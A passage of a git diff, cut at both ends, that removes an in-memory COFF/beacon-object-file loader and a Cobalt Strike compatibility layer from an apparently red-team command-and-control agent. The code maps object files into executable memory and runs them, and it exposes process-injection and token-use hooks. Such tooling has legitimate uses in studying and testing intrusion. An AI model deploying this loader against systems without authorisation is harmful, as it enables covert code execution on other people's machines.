VirtualAlloc(NULL, coff_sect_ptr->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); -#ifdef DEBUG - sectionSize[counter] = coff_sect_ptr->SizeOfRawData; -#endif - if (sectionMapping[counter] == NULL) { - DEBUG_PRINT("Failed to allocate memory\n"); - } - DEBUG_PRINT("Allocated section %d at %p\n", counter, sectionMapping[counter]); - if (coff_sect_ptr->PointerToRawData != 0){ - memcpy(sectionMapping[counter], coff_data + coff_sect_ptr->PointerToRawData, coff_sect_ptr->SizeOfRawData); - } - else{ - memset(sectionMapping[counter], 0, coff_sect_ptr->SizeOfRawData); - } -#endif - } - DEBUG_PRINT("Total Relocations: %d\n", relocationCount); - /* Allocate and setup the GOT for functions, same here as above. */ - /* Actually allocate enough for worst case every relocation, may not be needed, but hey better safe than sorry */ -#ifdef _WIN32 -#ifdef _WIN64 - functionMapping = (void **)VirtualAlloc(NULL, relocationCount*8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); -#else - functionMapping = (void **)VirtualAlloc(NULL, relocationCount*8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); -#endif - if (functionMapping == NULL){ - DEBUG_PRINT("Failed to allocate functionMapping\n"); - goto cleanup; - } -#endif - - /* Start parsing the relocations, and *hopefully* handle them correctly. */ - for (counter = 0; counter < coff_header_ptr->NumberOfSections; counter++) { - DEBUG_PRINT("Doing Relocations of section: %d\n", counter); - coff_sect_ptr = (coff_sect_t*)(coff_data + sizeof(coff_file_header_t) + (sizeof(coff_sect_t) * counter)); - coff_reloc_ptr = (coff_reloc_t*)(coff_data + coff_sect_ptr->PointerToRelocations); - for (reloccount = 0; reloccount < coff_sect_ptr->NumberOfRelocations; reloccount++) { - DEBUG_PRINT("\tVirtualAddress: 0x%X\n", coff_reloc_ptr->VirtualAddress); - DEBUG_PRINT("\tSymbolTableIndex: 0x%X\n", coff_reloc_ptr->SymbolTableIndex); - DEBUG_PRINT("\tType: 0x%X\n", coff_reloc_ptr->Type); - - /* Check if the symbol name is a long symbol name */ - if (coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.value[0] == 0) { - /* Long symbol name from the string table */ - - symbol_name = ((char*)(coff_sym_ptr + coff_header_ptr->NumberOfSymbols)) - + coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.value[1]; - - } else { - /* Short symbol name */ - - /* If the short symbol name is 8 bytes in length, it is not NULL - * terminated. Copy it to a temporary buffer to add the NULL terminator. */ - if (coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name[7] != '\0') { - strncpy_s( - symbol_shortname_buffer, - sizeof(symbol_shortname_buffer), - &coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name[0], - sizeof(coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name) - ); - - symbol_name = symbol_shortname_buffer; - } else { - symbol_name = &coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name[0]; - } - } - - DEBUG_PRINT("\tSymNamePtr: %p\n", symbol_name); - DEBUG_PRINT("\tSymName: %s\n", symbol_name); - DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber); - - /* Check if the target symbol is a local symbol or an external undefined symbol - * and resolve it */ - if (coff_symbol_is_defined(&coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex])) { - /* Locally defined symbol. Find the mapped address. */ - funcptrlocation = sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]; - - funcptrlocation = (void *)((char *)funcptrlocation + coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value); - } else if (coff_symbol_is_external(&coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex]) - && coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value == 0) { - /* Imported symbol. Resolve it and map it in */ - funcptrlocation = process_symbol(symbol_name); - if (funcptrlocation == NULL) { - DEBUG_PRINT("Failed resolving imported symbol '%s'\n", symbol_name); - retcode = 1; - goto cleanup; - } - - /* Map the imported symbol address to the local import table */ - functionMapping[functionMappingCount] = funcptrlocation; - - /* Get the address of the imported symbol mapped in the local import - * table for the relocation target */ - funcptrlocation = &functionMapping[functionMappingCount]; - - /* Increment the number of mapped imported functions */ - functionMappingCount += 1; - - } else { - /* Relocation to an undefined symbol */ - DEBUG_PRINT("Relocation %d in section index %d references undefined symbol %s\n", reloccount, counter, symbol_name); - retcode = 1; - goto cleanup; - } - -#ifdef _WIN32 -#ifdef _WIN64 - /* Type == 1 relocation is the 64-bit VA of the relocation target */ - if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR64) { - memcpy(&longoffsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(uint64_t)); - DEBUG_PRINT("\tReadin longOffsetValue : 0x%llX\n", longoffsetvalue); - longoffsetvalue += (uint64_t)funcptrlocation; - DEBUG_PRINT("\tModified longOffsetValue : 0x%llX Base Address: %p\n", longoffsetvalue, funcptrlocation); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &longoffsetvalue, sizeof(uint64_t)); - } - /* This is Type == 3 relocation code */ - else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR32NB) { - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue); - DEBUG_PRINT("\t\tReferenced Section: 0x%X\n", sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue); - DEBUG_PRINT("\t\tEnd of Relocation Bytes: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4); - if (((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) { - DEBUG_PRINT("Relocations > 4 gigs away, exiting\n"); - retcode = 1; - goto cleanup; - } - offsetvalue = ((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)); - offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value; - DEBUG_PRINT("\tSetting 0x%p to OffsetValue: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - /* This is Type == 4 relocation code, this is either a relocation to a global - * or imported symbol */ - else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32) { - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue); - - if (llabs((long long)funcptrlocation - (long long)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > UINT_MAX) { - DEBUG_PRINT("Relocations > 4 gigs away, exiting\n"); - goto cleanup; - } - - offsetvalue += ((size_t)funcptrlocation - ((size_t)sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)); - DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_1) { - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue); - - if (llabs((long long)funcptrlocation - (long long)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 1)) > UINT_MAX) { - DEBUG_PRINT("Relocations > 4 gigs away, exiting\n"); - retcode = 1; - goto cleanup; - } - - offsetvalue += (size_t)funcptrlocation - ((size_t)sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 1); - DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - - else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_2) { - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue); - - if (llabs((long long)funcptrlocation - (long long)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 2)) > UINT_MAX) { - DEBUG_PRINT("Relocations > 4 gigs away, exiting\n"); - retcode = 1; - goto cleanup; - } - - offsetvalue += (size_t)funcptrlocation - ((size_t)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 2)); - DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - - else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_3) { - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue); - - if (llabs((long long)funcptrlocation - (long long)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 3)) > UINT_MAX) { - DEBUG_PRINT("Relocations > 4 gigs away, exiting\n"); - retcode = 1; - goto cleanup; - } - - offsetvalue += (size_t)funcptrlocation - ((size_t)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 3)); - DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - - else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_4) { - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue); - - if (llabs((long long)funcptrlocation - (long long)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 4)) > UINT_MAX) { - DEBUG_PRINT("Relocations > 4 gigs away, exiting\n"); - retcode = 1; - goto cleanup; - } - - offsetvalue += (size_t)funcptrlocation - ((size_t)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 4)); - DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_5) { - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue); - - if (llabs((long long)funcptrlocation - (long long)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 5)) > UINT_MAX) { - DEBUG_PRINT("Relocations > 4 gigs away, exiting\n"); - retcode = 1; - goto cleanup; - } - - offsetvalue += (size_t)funcptrlocation - ((size_t)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4 + 5)); - DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - - else { - DEBUG_PRINT("No code for relocation type: %d\n", coff_reloc_ptr->Type); - } -#else - /* This is Type == IMAGE_REL_I386_DIR32 relocation code */ - if (coff_reloc_ptr->Type == IMAGE_REL_I386_DIR32){ - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue); - offsetvalue = (uint32_t)funcptrlocation + offsetvalue; - DEBUG_PRINT("\tSetting 0x%p to: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } - else if (coff_reloc_ptr->Type == IMAGE_REL_I386_REL32){ - offsetvalue = 0; - memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t)); - DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue); - offsetvalue += (uint32_t)funcptrlocation - (uint32_t)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4); - DEBUG_PRINT("\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue); - memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t)); - } -#endif //WIN64 statement close -#endif //WIN32 statement close - - DEBUG_PRINT("\tValueNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value); - DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber); - coff_reloc_ptr += 1; - DEBUG_PRINT("\n"); - } - DEBUG_PRINT("\n"); - } - - /* Some debugging code to see what the sections look like in memory */ -#if DEBUG -#ifdef _WIN32 - for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSections; tempcounter++) { - DEBUG_PRINT("Section: %u\n", tempcounter); - if (sectionMapping[tempcounter] != NULL) { - DEBUG_PRINT("\t"); - for (counter = 0; counter < sectionSize[tempcounter]; counter++) { - DEBUG_PRINT("%02X ", (uint8_t)(sectionMapping[tempcounter][counter])); - } - DEBUG_PRINT("\n"); - } - } -#endif -#endif - - DEBUG_PRINT("Symbols:\n"); - for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSymbols; tempcounter++) { - DEBUG_PRINT("\t%s: Section: %d, Value: 0x%X\n", coff_sym_ptr[tempcounter].first.Name, coff_sym_ptr[tempcounter].SectionNumber, coff_sym_ptr[tempcounter].Value); - if (strcmp(coff_sym_ptr[tempcounter].first.Name, entryfuncname) == 0) { - DEBUG_PRINT("\t\tFound entry!\n"); -#ifdef _WIN32 - /* So for some reason VS 2017 doesn't like this, but char* casting works, so just going to do that */ -#ifdef _MSC_VER - foo = (void(__cdecl*)(char*, unsigned long))(sectionMapping[coff_sym_ptr[tempcounter].SectionNumber - 1] + coff_sym_ptr[tempcounter].Value); -#else - foo = (void(*)(char *, unsigned long))(sectionMapping[coff_sym_ptr[tempcounter].SectionNumber - 1] + coff_sym_ptr[tempcounter].Value); -#endif - //sectionMapping[coff_sym_ptr[tempcounter].SectionNumber-1][coff_sym_ptr[tempcounter].Value+7] = '\xcc'; - DEBUG_PRINT("Trying to run: %p\n", foo); - foo((char*)argumentdata, argumentSize); -#endif - } - } - DEBUG_PRINT("Back\n"); - - /* Cleanup the allocated memory */ -#ifdef _WIN32 - cleanup : - if (sectionMapping){ - for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSections; tempcounter++) { - if (sectionMapping[tempcounter]) { - VirtualFree(sectionMapping[tempcounter], 0, MEM_RELEASE); - } - } - free(sectionMapping); - sectionMapping = NULL; - } -#ifdef DEBUG - if (sectionSize){ - free(sectionSize); - sectionSize = NULL; - } -#endif - if (functionMapping){ - VirtualFree(functionMapping, 0, MEM_RELEASE); - } -#endif - if (entryfuncname && entryfuncname != functionname){ - free(entryfuncname); - } - - DEBUG_PRINT("Returning\n"); - return retcode; -} - -#ifdef COFF_STANDALONE -int main(int argc, char* argv[]) { - char* coff_data = NULL; - unsigned char* arguments = NULL; - int argumentSize = 0; -#ifdef _WIN32 - char* outdata = NULL; - int outdataSize = 0; -#endif - uint32_t filesize = 0; - int checkcode = 0; - if (argc < 3) { - printf("ERROR: %s go /path/to/object/file.o (arguments)\n", argv[0]); - return 1; - } - - coff_data = (char*)getContents(argv[2], &filesize); - if (coff_data == NULL) { - return 1; - } - printf("Got contents of COFF file\n"); - arguments = unhexlify((unsigned char*)argv[3], &argumentSize); - printf("Running/Parsing the COFF file\n"); - checkcode = RunCOFF(argv[1], (unsigned char*)coff_data, filesize, arguments, argumentSize); - if (checkcode == 0) { -#ifdef _WIN32 - printf("Ran/parsed the coff\n"); - outdata = BeaconGetOutputData(&outdataSize); - if (outdata != NULL) { - - printf("Outdata Below:\n\n%s\n", outdata); - } -#endif - } - else { - printf("Failed to run/parse the COFF file\n"); - } - if (coff_data) { - free(coff_data); - } - return 0; -} - -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.h b/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.h deleted file mode 100755 index 41473f19..00000000 --- a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.h +++ /dev/null @@ -1,110 +0,0 @@ -#pragma once -#ifndef COFFLOADER_H_ -#define COFFLOADER_H_ -#include -#include - -/* These seem to be the same sizes across architectures, relocations are different though. Defined both sets of types. */ - -/* sizeof 20 */ -typedef struct coff_file_header { - uint16_t Machine; - uint16_t NumberOfSections; - uint32_t TimeDateStamp; - uint32_t PointerToSymbolTable; - uint32_t NumberOfSymbols; - uint16_t SizeOfOptionalHeader; - uint16_t Characteristics; -} coff_file_header_t; - -/* AMD64 should always be here */ -#define MACHINETYPE_AMD64 0x8664 - -#pragma pack(push,1) - -/* Size of 40 */ -typedef struct coff_sect { - char Name[8]; - uint32_t VirtualSize; - uint32_t VirtualAddress; - uint32_t SizeOfRawData; - uint32_t PointerToRawData; - uint32_t PointerToRelocations; - uint32_t PointerToLineNumbers; - uint16_t NumberOfRelocations; - uint16_t NumberOfLinenumbers; - uint32_t Characteristics; -} coff_sect_t; - - -typedef struct coff_reloc { - uint32_t VirtualAddress; - uint32_t SymbolTableIndex; - uint16_t Type; -} coff_reloc_t; - -typedef struct coff_sym { - union { - char Name[8]; - uint32_t value[2]; - } first; - uint32_t Value; - uint16_t SectionNumber; - uint16_t Type; - uint8_t StorageClass; - uint8_t NumberOfAuxSymbols; - -} coff_sym_t; - -#pragma pack(pop) -/* AMD64 Specific types */ -#define IMAGE_REL_AMD64_ABSOLUTE 0x0000 -#define IMAGE_REL_AMD64_ADDR64 0x0001 -#define IMAGE_REL_AMD64_ADDR32 0x0002 -#define IMAGE_REL_AMD64_ADDR32NB 0x0003 -/* Most common from the looks of it, just 32-bit relative address from the byte following the relocation */ -#define IMAGE_REL_AMD64_REL32 0x0004 -/* Second most common, 32-bit address without an image base. Not sure what that means... */ -#define IMAGE_REL_AMD64_REL32_1 0x0005 -#define IMAGE_REL_AMD64_REL32_2 0x0006 -#define IMAGE_REL_AMD64_REL32_3 0x0007 -#define IMAGE_REL_AMD64_REL32_4 0x0008 -#define IMAGE_REL_AMD64_REL32_5 0x0009 -#define IMAGE_REL_AMD64_SECTION 0x000A -#define IMAGE_REL_AMD64_SECREL 0x000B -#define IMAGE_REL_AMD64_SECREL7 0x000C -#define IMAGE_REL_AMD64_TOKEN 0x000D -#define IMAGE_REL_AMD64_SREL32 0x000E -#define IMAGE_REL_AMD64_PAIR 0x000F -#define IMAGE_REL_AMD64_SSPAN32 0x0010 - -/*i386 Relocation types */ - -#define IMAGE_REL_I386_ABSOLUTE 0x0000 -#define IMAGE_REL_I386_DIR16 0x0001 -#define IMAGE_REL_I386_REL16 0x0002 -#define IMAGE_REL_I386_DIR32 0x0006 -#define IMAGE_REL_I386_DIR32NB 0x0007 -#define IMAGE_REL_I386_SEG12 0x0009 -#define IMAGE_REL_I386_SECTION 0x000A -#define IMAGE_REL_I386_SECREL 0x000B -#define IMAGE_REL_I386_TOKEN 0x000C -#define IMAGE_REL_I386_SECREL7 0x000D -#define IMAGE_REL_I386_REL32 0x0014 - -/* Section Characteristic Flags */ - -#define IMAGE_SCN_MEM_WRITE 0x80000000 -#define IMAGE_SCN_MEM_READ 0x40000000 -#define IMAGE_SCN_MEM_EXECUTE 0x20000000 -#define IMAGE_SCN_ALIGN_16BYTES 0x00500000 -#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 -#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 -#define IMAGE_SCN_MEM_SHARED 0x10000000 -#define IMAGE_SCN_CNT_CODE 0x00000020 -#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 -#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 - -__declspec(dllexport) int RunCOFF(char* functionname, unsigned char* coff_data, uint32_t filesize, unsigned char* argumentdata, int argumentSize); -__declspec(dllexport) unsigned char* Unhexlify(unsigned char* value, int* outlen); -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.vcxproj b/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.vcxproj deleted file mode 100755 index b6b2ba66..00000000 --- a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.vcxproj +++ /dev/null @@ -1,152 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 17.0 - Win32Proj - {92e783d2-0c9d-490e-ac6b-f3ed6520f12b} - COFFLoader - 10.0 - - - - DynamicLibrary - true - v143 - Unicode - - - DynamicLibrary - false - v143 - true - Unicode - - - DynamicLibrary - true - v143 - Unicode - - - DynamicLibrary - false - v143 - true - Unicode - - - - - - - - - - - - - - - - - - - - - $(SolutionDir)Apollo\bin\$(Configuration)\net451\ - - - $(SolutionDir)Apollo\bin\$(Configuration)\net451\ - - - $(SolutionDir)Apollo\bin\$(Configuration)\net451\ - - - $(SolutionDir)Apollo\bin\$(Configuration)\net451\ - - - - Level3 - true - _CRT_SECURE_NO_WARNINGS;WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - _CRT_SECURE_NO_WARNINGS;WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _CRT_SECURE_NO_WARNINGS;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - - - - - Level3 - true - true - true - _CRT_SECURE_NO_WARNINGS;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.vcxproj.filters b/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.vcxproj.filters deleted file mode 100755 index 44ac79b7..00000000 --- a/Payload_Type/apollo/apollo/agent_code/COFFLoader/COFFLoader.vcxproj.filters +++ /dev/null @@ -1,33 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Source Files - - - Source Files - - - - - Header Files - - - Header Files - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/COFFLoader/beacon_compatibility.c b/Payload_Type/apollo/apollo/agent_code/COFFLoader/beacon_compatibility.c deleted file mode 100755 index 60c14f2f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/COFFLoader/beacon_compatibility.c +++ /dev/null @@ -1,402 +0,0 @@ -/* - * Cobalt Strike 4.X BOF compatibility layer - * ----------------------------------------- - * The whole point of these files are to allow beacon object files built for CS - * to run fine inside of other tools without recompiling. - * - * Built off of the beacon.h file provided to build for CS. - */ -#include -#include -#include -#include -#ifdef _WIN32 -#include - -#include "beacon_compatibility.h" - -#define DEFAULTPROCESSNAME "rundll32.exe" -#ifdef _WIN64 -#define X86PATH "SysWOW64" -#define X64PATH "System32" -#else -#define X86PATH "System32" -#define X64PATH "sysnative" -#endif - - - /* Data Parsing */ -unsigned char* InternalFunctions[30][2] = { - {(unsigned char*)"BeaconDataParse", (unsigned char*)BeaconDataParse}, - {(unsigned char*)"BeaconDataInt", (unsigned char*)BeaconDataInt}, - {(unsigned char*)"BeaconDataShort", (unsigned char*)BeaconDataShort}, - {(unsigned char*)"BeaconDataLength", (unsigned char*)BeaconDataLength}, - {(unsigned char*)"BeaconDataExtract", (unsigned char*)BeaconDataExtract}, - {(unsigned char*)"BeaconFormatAlloc", (unsigned char*)BeaconFormatAlloc}, - {(unsigned char*)"BeaconFormatReset", (unsigned char*)BeaconFormatReset}, - {(unsigned char*)"BeaconFormatFree", (unsigned char*)BeaconFormatFree}, - {(unsigned char*)"BeaconFormatAppend", (unsigned char*)BeaconFormatAppend}, - {(unsigned char*)"BeaconFormatPrintf", (unsigned char*)BeaconFormatPrintf}, - {(unsigned char*)"BeaconFormatToString", (unsigned char*)BeaconFormatToString}, - {(unsigned char*)"BeaconFormatInt", (unsigned char*)BeaconFormatInt}, - {(unsigned char*)"BeaconPrintf", (unsigned char*)BeaconPrintf}, - {(unsigned char*)"BeaconOutput", (unsigned char*)BeaconOutput}, - {(unsigned char*)"BeaconUseToken", (unsigned char*)BeaconUseToken}, - {(unsigned char*)"BeaconRevertToken", (unsigned char*)BeaconRevertToken}, - {(unsigned char*)"BeaconIsAdmin", (unsigned char*)BeaconIsAdmin}, - {(unsigned char*)"BeaconGetSpawnTo", (unsigned char*)BeaconGetSpawnTo}, - {(unsigned char*)"BeaconSpawnTemporaryProcess", (unsigned char*)BeaconSpawnTemporaryProcess}, - {(unsigned char*)"BeaconInjectProcess", (unsigned char*)BeaconInjectProcess}, - {(unsigned char*)"BeaconInjectTemporaryProcess", (unsigned char*)BeaconInjectTemporaryProcess}, - {(unsigned char*)"BeaconCleanupProcess", (unsigned char*)BeaconCleanupProcess}, - {(unsigned char*)"toWideChar", (unsigned char*)toWideChar}, - {(unsigned char*)"LoadLibraryA", (unsigned char*)LoadLibraryA}, - {(unsigned char*)"GetProcAddress", (unsigned char*)GetProcAddress}, - {(unsigned char*)"GetModuleHandleA", (unsigned char*)GetModuleHandleA}, - {(unsigned char*)"FreeLibrary", (unsigned char*)FreeLibrary}, - {(unsigned char*)"__C_specific_handler", NULL} - -}; - -uint32_t swap_endianess(uint32_t indata) { - uint32_t testint = 0xaabbccdd; - uint32_t outint = indata; - if (((unsigned char*)&testint)[0] == 0xdd) { - ((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3]; - ((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2]; - ((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1]; - ((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0]; - } - return outint; -} - -char* beacon_compatibility_output = NULL; -int beacon_compatibility_size = 0; -int beacon_compatibility_offset = 0; - -void BeaconDataParse(datap* parser, char* buffer, int size) { - if (parser == NULL || buffer == NULL) { - return; - } - - parser->original = buffer; - parser->buffer = buffer; - parser->length = size - 4; - parser->size = size - 4; - parser->buffer += 4; - return; -} - -int BeaconDataInt(datap* parser) { - if (parser == NULL) { - return 0; - } - - int32_t fourbyteint = 0; - if (parser->length < 4) { - return 0; - } - memcpy(&fourbyteint, parser->buffer, 4); - parser->buffer += 4; - parser->length -= 4; - return (int)fourbyteint; -} - -short BeaconDataShort(datap* parser) { - if (parser == NULL) { - return 0; - } - - int16_t retvalue = 0; - if (parser->length < 2) { - return 0; - } - memcpy(&retvalue, parser->buffer, 2); - parser->buffer += 2; - parser->length -= 2; - return (short)retvalue; -} - -int BeaconDataLength(datap* parser) { - if (parser == NULL) { - return 0; - } - - return parser->length; -} - -char* BeaconDataExtract(datap* parser, int* size) { - if (parser == NULL) { - return NULL; - } - - uint32_t length = 0; - char* outdata = NULL; - /*Length prefixed binary blob, going to assume uint32_t for this.*/ - if (parser->length < 4) { - return NULL; - } - memcpy(&length, parser->buffer, 4); - parser->buffer += 4; - - outdata = parser->buffer; - if (outdata == NULL) { - return NULL; - } - parser->length -= 4; - parser->length -= length; - parser->buffer += length; - if (size != NULL && outdata != NULL) { - *size = length; - } - return outdata; -} - -/* format API */ - -void BeaconFormatAlloc(formatp* format, int maxsz) { - if (format == NULL) { - return; - } - - format->original = calloc(maxsz, 1); - format->buffer = format->original; - format->length = 0; - format->size = maxsz; - return; -} - -void BeaconFormatReset(formatp* format) { - if (format == NULL) { - return; - } - - memset(format->original, 0, format->size); - format->buffer = format->original; - format->length = format->size; - return; -} - -void BeaconFormatFree(formatp* format) { - if (format == NULL) { - return; - } - if (format->original) { - free(format->original); - format->original = NULL; - } - format->buffer = NULL; - format->length = 0; - format->size 